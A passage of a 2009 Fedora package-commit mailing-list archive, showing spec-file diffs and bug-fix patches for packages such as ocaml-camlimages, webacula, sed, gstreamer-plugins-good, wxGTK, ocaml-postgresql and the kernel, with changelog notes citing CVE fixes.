 %patch0 -p1
-
-pushd png
-%patch1 -p2
-popd
+%patch1 -p1
+%patch2 -p1
 
 sed -i -e 's|LIBRARYDIRS=ppm bmp xvthumb jpeg tiff gif png xpm ps graphics freetype|LIBRARYDIRS=%buildlibs|' Makefile.build.in
 
@@ -82,6 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-9
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Fri Jul  3 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-8
 - ocaml-camlimages: PNG reader multiple integer overflows
   (CVE 2009-2295 / RHBZ#509531).



From rjones at fedoraproject.org  Fri Oct 16 09:52:24 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:52:24 +0000 (UTC)
Subject: rpms/ocaml-camlimages/EL-4 ocaml-camlimages.spec,1.4,1.5
Message-ID: <20091016095224.1226411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6665

Modified Files:
	ocaml-camlimages.spec 
Log Message:
Force rebuild.


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-4/ocaml-camlimages.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ocaml-camlimages.spec	16 Oct 2009 09:51:57 -0000	1.4
+++ ocaml-camlimages.spec	16 Oct 2009 09:52:23 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           ocaml-camlimages
 Version:        2.2.0
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -83,7 +83,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-9
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-10
 - ocaml-camlimages: TIFF reader multiple integer overflows
   (CVE 2009-3296 / RHBZ#528732).
 



From tim4dev at fedoraproject.org  Fri Oct 16 09:55:43 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 09:55:43 +0000 (UTC)
Subject: rpms/webacula/F-12 webacula.spec,NONE,1.1
Message-ID: <20091016095543.45F8511C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22030

Added Files:
	webacula.spec 
Log Message:
Initial commit (#526855)



--- NEW FILE webacula.spec ---
Name:          webacula
Version:       3.3
Release:       6%{?dist}
Summary:       Web interface of a Bacula backup system
Summary(ru):   ??? ????????? ??? Bacula backup system

Group:      Applications/Internet
License:    GPLv3+
URL:        http://webacula.sourceforge.net/
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:  noarch

Requires: webserver
Requires: bacula-console >= 2.4.0
Requires: php-ZendFramework >= 1.8.3
Requires: php >= 5.2.4
Requires: php-pdo
Requires: php-json
Requires: php-pcre
Requires: php-gd
Requires: php-xml

%description
Webacula - Web Bacula - web interface of a Bacula backup system.
Supports the run Job, restore all files or selected files,
restore the most recent backup for a client,
restore backup for a client before a specified time,
mount/umount Storages, show scheduled, running and terminated Jobs and more.
Supported languages: English, French, German, Portuguese Brazil, Russian.

%description -l ru
Webacula - Web Bacula - ??? ????????? ??? Bacula backup system.
???????????? ?????? ???????, ?????????????? ???? ??? ????????? ??????,
?????????????? ?????? ??????? ?????? ??? ???????,
?????????????? ?????? ??? ??????? ?????????? ????? ????????? ????????,
????????????/??????????????? ????????, ????? ???????????????, 
????????????? ? ??????????? ??????? ? ??????.
?????????????? ?????: ??????????, ???????????, ????????,
??????????? ?????????????, ???????.


%prep
%setup -q
rm -f ./application/.htaccess
rm -f ./html/test_mod_rewrite/.htaccess
rm -f ./html/.htaccess
rm -f ./install/.htaccess
rm -f ./languages/.htaccess
rm -f ./application/.htaccess
rm -f ./docs/.htaccess



%build


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/application
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/html
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/languages
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/library
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/install

cp ./application/config.ini  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/config.ini
rm -f ./application/config.ini
ln -s %{_sysconfdir}/%{name}/config.ini  $RPM_BUILD_ROOT%{_datadir}/%{name}/application/config.ini 

cp ./install/webacula.conf  $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/webacula.conf
rm -f ./install/webacula.conf

install -p -m 755 ./install/webacula_clean_tmp_files.sh \
   $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
rm -f ./install/webacula_clean_tmp_files.sh

cp -pr ./application $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./html        $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./languages   $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./library     $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./install     $RPM_BUILD_ROOT%{_datadir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc 4CONTRIBUTORS 4CONTRIBUTORS.ru AUTHORS COPYING README UPDATE ChangeLog
%doc docs/
%{_datadir}/%{name}/application
%{_datadir}/%{name}/html
%{_datadir}/%{name}/library
%{_datadir}/%{name}/install
%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
%dir %{_datadir}/%{name}
%dir %{_datadir}/%{name}/languages
%config(noreplace) %{_sysconfdir}/httpd/conf.d/webacula.conf
%config(noreplace) %{_sysconfdir}/%{name}/config.ini
%lang(de) %{_datadir}/%{name}/languages/de
%lang(en) %{_datadir}/%{name}/languages/en
%lang(fr) %{_datadir}/%{name}/languages/fr
%lang(pt) %{_datadir}/%{name}/languages/pt
%lang(ru) %{_datadir}/%{name}/languages/ru



%changelog
* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-6
- Fix #526855.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-5
- Fix #526855. Remove Zend Framework from source.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-4
- Fix #526855

* Mon Oct 12 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-3
- Fix #526855

* Sat Oct 10 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-2
- Fix #526855 "Review Request"

* Thu Oct 08 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-1
- Initial Spec file creation for Fedora



From rjones at fedoraproject.org  Fri Oct 16 09:56:41 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:56:41 +0000 (UTC)
Subject: rpms/ocaml-camlimages/EL-5 ocaml-camlimages.spec,1.5,1.6
Message-ID: <20091016095641.B7A6C11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30231

Modified Files:
	ocaml-camlimages.spec 
Log Message:
- Changed dep back to 'lablgtk' so this can build.



Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-5/ocaml-camlimages.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- ocaml-camlimages.spec	16 Oct 2009 09:49:59 -0000	1.5
+++ ocaml-camlimages.spec	16 Oct 2009 09:56:41 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           ocaml-camlimages
 Version:        2.2.0
-Release:        11%{?dist}
+Release:        12%{?dist}
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -18,7 +18,7 @@ Patch2:         camlimages-oversized-tif
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  ocaml-lablgtk libpng-devel libjpeg-devel ocaml
+BuildRequires:  lablgtk libpng-devel libjpeg-devel ocaml
 BuildRequires:  libXpm-devel ghostscript-devel freetype-devel
 BuildRequires:  giflib-devel
 Requires:       ocaml
@@ -80,9 +80,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-11
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-12
 - ocaml-camlimages: TIFF reader multiple integer overflows
   (CVE 2009-3296 / RHBZ#528732).
+- Changed dep back to 'lablgtk' so this can build.
 
 * Fri Jul  3 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-10
 - ocaml-camlimages: PNG reader multiple integer overflows



From jmoskovc at fedoraproject.org  Fri Oct 16 10:07:55 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 10:07:55 +0000 (UTC)
Subject: rpms/sed/F-12 sed.spec,1.50,1.51
Message-ID: <20091016100755.E652411C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/sed/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7624

Modified Files:
	sed.spec 
Log Message:
- added libselinux-devel to buildrequires rhbz#514182
- fixed problem with --excludedocs rhbz#515913



Index: sed.spec
===================================================================
RCS file: /cvs/extras/rpms/sed/F-12/sed.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sed.spec	12 Aug 2009 19:41:07 -0000	1.50
+++ sed.spec	16 Oct 2009 10:07:55 -0000	1.51
@@ -6,7 +6,7 @@
 Summary: A GNU stream text editor
 Name: sed
 Version: 4.2.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: Applications/Text
 URL: http://sed.sourceforge.net/
@@ -14,7 +14,7 @@ Source0: ftp://ftp.gnu.org/pub/gnu/sed/s
 Source1: http://sed.sourceforge.net/sedfaq.txt
 Patch0: sed-4.2.1-dummyparam.diff
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires: glibc-devel
+BuildRequires: glibc-devel, libselinux-devel
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 
@@ -48,12 +48,14 @@ rm -f ${RPM_BUILD_ROOT}/%{_infodir}/dir
 %find_lang %{name}
 
 %post
-/sbin/install-info %{_infodir}/sed.info.gz %{_infodir}/dir || :
+/sbin/install-info %{_infodir}/sed.info.gz %{_infodir}/dir || &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-   /sbin/install-info --delete %{_infodir}/sed.info.gz %{_infodir}/dir || :
+   /sbin/install-info --delete %{_infodir}/sed.info.gz %{_infodir}/dir || &> /dev/null
 fi
+:
 
 %clean
 rm -rf ${RPM_BUILD_ROOT}
@@ -66,6 +68,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_mandir}/man*/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> 4.2.1-4
+- added libselinux-devel to buildrequires rhbz#514182
+- fixed problem with --excludedocs rhbz#515913
+
 * Tue Aug 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 4.2.1-3
 - Use bzipped upstream tarball.
 



From hadess at fedoraproject.org  Fri Oct 16 10:10:29 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri, 16 Oct 2009 10:10:29 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-12 autoconvert-fix-caps.patch, NONE, 
	1.1 gstreamer-plugins-good.spec, 1.103, 1.104
Message-ID: <20091016101029.9AF5711C02A2@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8366

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	autoconvert-fix-caps.patch 
Log Message:
* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
- Fix autoconvert caps negotiation


autoconvert-fix-caps.patch:
 gstautoconvert.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE autoconvert-fix-caps.patch ---
>From 76d3a625dad9dc3e655e0272434caf42f787098f Mon Sep 17 00:00:00 2001
From: Jan Schmidt <thaytan at noraisin.net>
Date: Fri, 16 Oct 2009 01:26:10 +0100
Subject: [PATCH] autoconvert: Use gst_pad_peer_accept_caps instead of gst_pad_set_caps.

gst_pad_set_caps on the internal source pad always succeeds, because
caps propagate to the peer with buffers, not immediately. Using
gst_pad_peer_accept_caps properly checks whether the actual
sub-element can accept caps when they change.

https://bugzilla.gnome.org/show_bug.cgi?id=575568
---
 gst/autoconvert/gstautoconvert.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/farsight/autoconvert/gstautoconvert.c b/gst/autoconvert/gstautoconvert.c
index 39b9c78..4675c41 100644
--- a/farsight/autoconvert/gstautoconvert.c
+++ b/farsight/autoconvert/gstautoconvert.c
@@ -692,7 +692,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
 
   subelement = gst_auto_convert_get_subelement (autoconvert);
   if (subelement) {
-    if (gst_pad_set_caps (autoconvert->current_internal_srcpad, caps)) {
+    if (gst_pad_peer_accept_caps (autoconvert->current_internal_srcpad, caps)) {
       /* If we can set the new caps on the current element,
        * then we just get out
        */
@@ -777,7 +777,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
         internal_sinkpad_quark);
 
     /* Now we check if the element can really accept said caps */
-    if (!gst_pad_set_caps (internal_srcpad, caps)) {
+    if (!gst_pad_peer_accept_caps (internal_srcpad, caps)) {
       GST_DEBUG_OBJECT (autoconvert, "Could not set %s:%s to %" GST_PTR_FORMAT,
           GST_DEBUG_PAD_NAME (internal_srcpad), caps);
       goto next_element;
-- 
1.6.0.4


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/gstreamer-plugins-good.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- gstreamer-plugins-good.spec	1 Sep 2009 17:00:42 -0000	1.103
+++ gstreamer-plugins-good.spec	16 Oct 2009 10:10:29 -0000	1.104
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -67,6 +67,8 @@ Obsoletes: gstreamer-plugins-pulse < 0.9
 
 # farsight plugins
 Patch0: 0001-Move-farsight-plugins-from-bad-to-good.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=575568#c22
+Patch1: autoconvert-fix-caps.patch
 BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
@@ -106,6 +108,7 @@ This is a dummy package to make gstreame
 
 # Farsight plugins
 %patch0 -p1 -b .farsight
+%patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
 
@@ -271,6 +274,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
+- Fix autoconvert caps negotiation
+
 * Tue Sep 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-1
 - Update to 0.10.16
 



From sharkcz at fedoraproject.org  Fri Oct 16 10:14:16 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 10:14:16 +0000 (UTC)
Subject: rpms/wxGTK/devel wxGTK-2.8.10-wxTimer-fix.patch, NONE,
	1.1 wxGTK.spec, 1.48, 1.49
Message-ID: <20091016101416.3E16F11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9572

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-wxTimer-fix.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5
- add fix for excessive CPU usage (#494425)


wxGTK-2.8.10-wxTimer-fix.patch:
 app.cpp |   17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

--- NEW FILE wxGTK-2.8.10-wxTimer-fix.patch ---
Index: src/gtk/app.cpp
===================================================================
--- src/gtk/app.cpp	(revision 62396)
+++ src/gtk/app.cpp	(revision 62397)
@@ -149,9 +149,11 @@
 // One-shot emission hook for "event" signal, to install idle handler.
 // This will be called when the "event" signal is issued on any GtkWidget object.
 static gboolean
-event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer)
+event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer data)
 {
     wxapp_install_idle_handler();
+    bool* hook_installed = (bool*)data;
+    *hook_installed = false;
     // remove hook
     return false;
 }
@@ -159,12 +161,17 @@
 // add emission hook for "event" signal, to re-install idle handler when needed
 static inline void wxAddEmissionHook()
 {
+    static bool hook_installed;
     GType widgetType = GTK_TYPE_WIDGET;
-    // if GtkWidget type is loaded
-    if (g_type_class_peek(widgetType) != NULL)
+    // if hook not installed and GtkWidget type is loaded
+    if (!hook_installed && g_type_class_peek(widgetType))
     {
-        guint sig_id = g_signal_lookup("event", widgetType);
-        g_signal_add_emission_hook(sig_id, 0, event_emission_hook, NULL, NULL);
+        static guint sig_id;
+        if (sig_id == 0)
+            sig_id = g_signal_lookup("event", widgetType);
+        hook_installed = true;
+        g_signal_add_emission_hook(
+            sig_id, 0, event_emission_hook, &hook_installed, NULL);
     }
 }
 


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/devel/wxGTK.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- wxGTK.spec	27 Jul 2009 07:30:36 -0000	1.48
+++ wxGTK.spec	16 Oct 2009 10:14:16 -0000	1.49
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -18,6 +18,8 @@ Source0:        http://dl.sf.net/wxwindo
 Patch0:         %{name}-2.8.10-gsocket.patch
 # http://trac.wxwidgets.org/ticket/10993
 Patch1:         %{name}-2.8.10-CVE-2009-2369.patch
+# http://trac.wxwidgets.org/ticket/11315
+Patch2:         %{name}-2.8.10-wxTimer-fix.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -101,6 +103,7 @@ libraries or the X Window System.
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .gsocket
 %patch1 -p0 -b .CVE-2009-2369
+%patch2 -p0 -b .wxTimer-fix
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -257,6 +260,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5
+- add fix for excessive CPU usage (#494425)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.10-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rjones at fedoraproject.org  Fri Oct 16 10:14:19 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:14:19 +0000 (UTC)
Subject: rpms/ocaml-postgresql/devel .cvsignore, 1.7,
	1.8 ocaml-postgresql.spec, 1.17, 1.18 sources, 1.7, 1.8
Message-ID: <20091016101419.3E60311C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9553

Modified Files:
	.cvsignore ocaml-postgresql.spec sources 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
- New upstream version 1.12.3.
- This contains a SECURITY fix for:
  https://bugzilla.redhat.com/show_bug.cgi?id=529325
  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
  HOWEVER you are not protected until you change your code to
  use the new connection#escape_string method.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	4 Oct 2009 21:03:48 -0000	1.7
+++ .cvsignore	16 Oct 2009 10:14:19 -0000	1.8
@@ -1 +1 @@
-release-1.12.1.tar.bz2
+release-1.12.3.tar.bz2


Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/ocaml-postgresql.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- ocaml-postgresql.spec	4 Oct 2009 21:03:49 -0000	1.17
+++ ocaml-postgresql.spec	16 Oct 2009 10:14:19 -0000	1.18
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-postgresql
-Version:        1.12.1
-Release:        2%{?dist}
+Version:        1.12.3
+Release:        1%{?dist}
 Summary:        OCaml library for accessing PostgreSQL databases
 
 Group:          Development/Libraries
@@ -92,6 +92,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
+- New upstream version 1.12.3.
+- This contains a SECURITY fix for:
+  https://bugzilla.redhat.com/show_bug.cgi?id=529325
+  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
+  HOWEVER you are not protected until you change your code to
+  use the new connection#escape_string method.
+
 * Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.1-1
 - New upstream version 1.12.1.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	4 Oct 2009 21:03:49 -0000	1.7
+++ sources	16 Oct 2009 10:14:19 -0000	1.8
@@ -1 +1 @@
-e912df9259d74c123660072e12335871  release-1.12.1.tar.bz2
+64d6fdc1a23dc3315c61771f1d28f592  release-1.12.3.tar.bz2



From cebbert at fedoraproject.org  Fri Oct 16 10:14:42 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 16 Oct 2009 10:14:42 +0000 (UTC)
Subject: rpms/kernel/F-12
	acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch,
	NONE, 1.1 kernel.spec, 1.1870, 1.1871
Message-ID: <20091016101442.3A81611C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9756

Modified Files:
	kernel.spec 
Added Files:
	acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch 
Log Message:
Fix another ACPI boot hang (#513680)

acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch:
 pci_root.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch ---
From: Rafael J. Wysocki <rjw at sisk.pl>
Date: Mon, 12 Oct 2009 23:01:57 +0000 (+0200)
Subject: ACPI / PCI: Fix NULL pointer dereference in acpi_get_pci_dev() (rev. 2)
X-Git-Tag: v2.6.32-rc5~6^2~3^2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=497fb54f578efd2b479727bc88d5ef942c0a1e2d

ACPI / PCI: Fix NULL pointer dereference in acpi_get_pci_dev() (rev. 2)

acpi_get_pci_dev() may be called for a non-PCI device, in which case
it should return NULL.  However, it assumes that every handle it
finds in the ACPI CA name space, between given device handle and the
PCI root bridge handle, corresponds to a PCI-to-PCI bridge with an
existing secondary bus.  For this reason, when it finds a struct
pci_dev object corresponding to one of them, it doesn't check if
its 'subordinate' field is a valid pointer.  This obviously leads to
a NULL pointer dereference if acpi_get_pci_dev() is called for a
non-PCI device with a PCI parent which is not a bridge.

To fix this issue make acpi_get_pci_dev() check if pdev->subordinate
is not NULL for every device it finds on the path between the root
bridge and the device it's supposed to get to and return NULL if the
"target" device cannot be found.

http://bugzilla.kernel.org/show_bug.cgi?id=14129
(worked in 2.6.30, regression in 2.6.31)

Signed-off-by: Rafael J. Wysocki <rjw at sisk.pl>
Reported-by: Danny Feng <dfeng at redhat.com>
Reviewed-by: Alex Chiang <achiang at hp.com>
Tested-by: chepioq <chepioq at gmail.com>
Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/pci_root.c b/drivers/acpi/pci_root.c
index 3112221..1af8081 100644
--- a/drivers/acpi/pci_root.c
+++ b/drivers/acpi/pci_root.c
@@ -389,6 +389,17 @@ struct pci_dev *acpi_get_pci_dev(acpi_handle handle)
 
 		pbus = pdev->subordinate;
 		pci_dev_put(pdev);
+
+		/*
+		 * This function may be called for a non-PCI device that has a
+		 * PCI parent (eg. a disk under a PCI SATA controller).  In that
+		 * case pdev->subordinate will be NULL for the parent.
+		 */
+		if (!pbus) {
+			dev_dbg(&pdev->dev, "Not a PCI-to-PCI bridge\n");
+			pdev = NULL;
+			break;
+		}
 	}
 out:
 	list_for_each_entry_safe(node, tmp, &device_list, node)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1870
retrieving revision 1.1871
diff -u -p -r1.1870 -r1.1871
--- kernel.spec	16 Oct 2009 03:47:52 -0000	1.1870
+++ kernel.spec	16 Oct 2009 10:14:41 -0000	1.1871
@@ -752,6 +752,9 @@ Patch14200: acpi-revert-attach-device-to
 # disable 64-bit DMA on SB600 SATA controllers
 Patch14300: ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
 
+# fix ACPI boot hang/crash (#513680)
+Patch14400: acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1407,6 +1410,9 @@ ApplyPatch acpi-revert-attach-device-to-
 # disable 64-bit DMA on SB600 SATA controllers
 ApplyPatch ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
 
+# fix ACPI boot hang/crash (#513680)
+ApplyPatch acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2057,6 +2063,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-85
+- Fix another ACPI boot hang (#513680)
+
 * Fri Oct 16 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.4-84
 - nouveau: more vbios opcodes, minor fixes, hopeful fix for rh#529292
 



From sharkcz at fedoraproject.org  Fri Oct 16 10:17:00 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 10:17:00 +0000 (UTC)
Subject: rpms/wxGTK/F-12 wxGTK-2.8.10-wxTimer-fix.patch, NONE, 1.1 wxGTK.spec,
	1.48, 1.49
Message-ID: <20091016101700.96CEA11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10344

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-wxTimer-fix.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5 
- add fix for excessive CPU usage (#494425)


wxGTK-2.8.10-wxTimer-fix.patch:
 app.cpp |   17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

--- NEW FILE wxGTK-2.8.10-wxTimer-fix.patch ---
Index: src/gtk/app.cpp
===================================================================
--- src/gtk/app.cpp	(revision 62396)
+++ src/gtk/app.cpp	(revision 62397)
@@ -149,9 +149,11 @@
 // One-shot emission hook for "event" signal, to install idle handler.
 // This will be called when the "event" signal is issued on any GtkWidget object.
 static gboolean
